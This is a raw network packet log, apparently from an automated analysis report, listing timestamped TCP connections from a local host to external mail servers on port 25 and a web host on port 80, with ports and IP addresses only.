Nov 7, 2022 22:24:28.584758997 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.584774017 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.584784985 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.584808111 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.584815979 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.584829092 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.584858894 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.584865093 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.584873915 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.584892988 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.584911108 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.584927082 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.584935904 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.584944010 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.584979057 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.584985018 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.584994078 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.585025072 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.585051060 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.585062027 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.585078955 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.585097075 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.585114956 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.585127115 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.585128069 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.585134983 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.585154057 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.585154057 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.585174084 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.585314035 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.585330009 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.585366011 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.585383892 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.640831947 CET	80	49746	64.70.19.203	192.168.2.5
Nov 7, 2022 22:24:28.640907049 CET	80	49746	64.70.19.203	192.168.2.5
Nov 7, 2022 22:24:28.640985966 CET	49746	80	192.168.2.5	64.70.19.203
Nov 7, 2022 22:24:28.900930882 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.900962114 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.900976896 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.901067019 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.901089907 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.901103973 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.901160002 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.901171923 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.901194096 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.901199102 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.901228905 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.901325941 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.901340008 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.901355982 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.901432991 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.901432991 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.901437998 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.901489019 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.901509047 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.901509047 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.901527882 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.901541948 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.901583910 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.901628971 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.901662111 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.901726961 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.901835918 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.901910067 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.901925087 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.901928902 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.901968956 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.901998043 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.902028084 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.902040958 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.902055979 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.902102947 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.902122974 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.902124882 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.902143002 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.902151108 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.902160883 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.902177095 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.902179003 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.902177095 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.902196884 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.902213097 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.902230024 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.902242899 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.902255058 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.902266979 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.902282953 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.902302980 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.902302980 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.902347088 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.902394056 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.902471066 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.902491093 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.902506113 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.902523994 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.902543068 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.902561903 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.902564049 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.902564049 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.902656078 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.902656078 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.902668953 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.902859926 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.902885914 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.902940035 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.903028011 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.903172016 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.903194904 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.903213024 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.903230906 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.903249025 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.903268099 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.903273106 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.903285027 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.903304100 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.903321981 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.903331041 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.903335094 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.903347969 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.903353930 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.903353930 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.903361082 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.903382063 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.903393984 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.903405905 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.903415918 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.903425932 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.903434038 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.903480053 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.903497934 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.903512955 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.903528929 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.903651953 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.903671026 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.903687000 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.903704882 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.903722048 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.903738022 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.903754950 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.903850079 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.903867960 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.903883934 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.903901100 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.903917074 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.903933048 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.903949976 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.903965950 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.903981924 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.936791897 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:28.936831951 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:28.936855078 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:28.936877966 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:28.936897993 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:28.936906099 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:28.936963081 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:28.936963081 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:28.936963081 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:28.936963081 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:28.937007904 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:28.937038898 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:28.937062025 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:28.937088013 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:28.937104940 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:28.937123060 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:28.937138081 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:28.937167883 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:28.937187910 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:28.937211990 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:28.937223911 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:28.937230110 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:28.937247038 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:28.937262058 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:28.937277079 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:28.937278032 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:28.937293053 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:28.937294006 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:28.937308073 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:28.937314034 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:28.937323093 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:28.937331915 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:28.937345028 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:28.937347889 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:28.937361002 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:28.937365055 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:28.937381029 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:28.937402964 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:28.937414885 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.087402105 CET	49746	80	192.168.2.5	64.70.19.203
Nov 7, 2022 22:24:29.217906952 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.217948914 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.217967033 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.217984915 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.218002081 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.218049049 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.218086004 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.218173981 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.218190908 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.218307972 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.218324900 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.218343019 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.218379021 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.218394995 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.218493938 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.218832016 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.218849897 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.218867064 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.218934059 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.218971968 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.219002962 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.219144106 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.219172001 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.219187975 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.219206095 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.219250917 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.219268084 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.219285011 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.219418049 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.219489098 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.219528913 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.219564915 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.219609022 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.219628096 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.219939947 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.220062017 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.220082045 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.220099926 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.220170975 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.220247984 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.220284939 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.220324993 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.220499992 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.220518112 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.220534086 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.220577002 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.220597029 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.220614910 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.220649004 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.221478939 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.221584082 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.221606970 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.221651077 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.221738100 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.221759081 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.221813917 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.221837044 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.221857071 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.221878052 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.221900940 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.221923113 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.221946955 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.221966982 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.221993923 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.222014904 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.222035885 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.222137928 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.222158909 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.222209930 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.222263098 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.222285032 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.222306967 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.222328901 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.222351074 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.222379923 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.222402096 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.222424984 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.222448111 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.222470045 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.222491980 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.222513914 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.222534895 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.222556114 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.222579002 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.222603083 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.222624063 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.222645044 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.222666025 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.222687960 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.222709894 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.222732067 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.222753048 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.222824097 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.222846985 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.222867966 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.222920895 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.222944975 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.222966909 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.223015070 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.223059893 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.223083973 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.223107100 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.223129034 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.223150015 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.223171949 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.223193884 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.294059992 CET	49748	80	192.168.2.5	64.70.19.203
Nov 7, 2022 22:24:29.304205894 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.304231882 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.304264069 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.304280996 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.304310083 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.304322958 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.304333925 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.304447889 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.304447889 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.304469109 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.304491043 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.304510117 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.304527044 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.304527044 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.304543018 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.304554939 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.304555893 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.304567099 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.304580927 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.304594040 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.304594994 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.304594040 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.304608107 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.304624081 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.304641008 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.304641008 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.304665089 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.304694891 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.304694891 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.304708004 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.304721117 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.304740906 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.304747105 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.304747105 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.304759026 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.304790020 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.304790020 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.304805040 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.304822922 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.304824114 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.304838896 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.304851055 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.304877043 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.304888010 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.304896116 CET	25	49732	74.125.200.27	192.168.2.5
